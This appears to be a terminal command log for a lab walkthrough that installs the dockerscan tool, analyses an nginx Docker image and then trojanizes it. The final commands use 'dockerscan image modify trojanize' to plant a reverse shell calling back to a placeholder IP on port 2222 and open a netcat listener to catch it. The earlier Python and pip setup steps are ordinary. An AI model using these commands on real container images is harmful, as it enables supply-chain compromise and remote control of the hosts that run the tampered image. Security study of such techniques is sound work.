$ docker pull nginx $ docker history nginx:latest $ add-apt-repository ppa:jonathonf/python-3.6 $ apt-get update $ apt-get install python3.6 $ python --version Python 2.7.12 $ python3 --version Python 3.5.2 $ update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.5 1 $ update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.6 2 $ update-alternatives --config python3 $ apt install python3-pip $ python3 -m pip install setuptools $ python3 -m pip install -U pip # This should say it's already installed $ python3 -m pip install dockerscan Successfully installed booby-ng-0.8.4 click-6.7 colorlog-2.10.0 dockerscan-1.0.0a3 ecdsa-0.13 jws-0.1.3 python-dxf-4.0.1 requests-2.13.0 tqdm-4.31.1 www-authenticate-0.9.2 $ dockerscan -h $ apt install docker.io $ docker pull nginx $ docker save nginx -o nginx-image $ dockerscan image analyze nginx-image [ * ] Starting the analysis of docker image... [ * ] Selected image: 'nginx' [ * ] Analysis finished. Results: [ * ] - Running user = root $ dockerscan image modify -h $ dockerscan image modify trojanize nginx-image -l XXX.XXX.XXX.XXX -p 2222 -o nginx-trojan $ docker run nginx:latest $ nc -v -k -l XXX.XXX.XXX.XXX 2222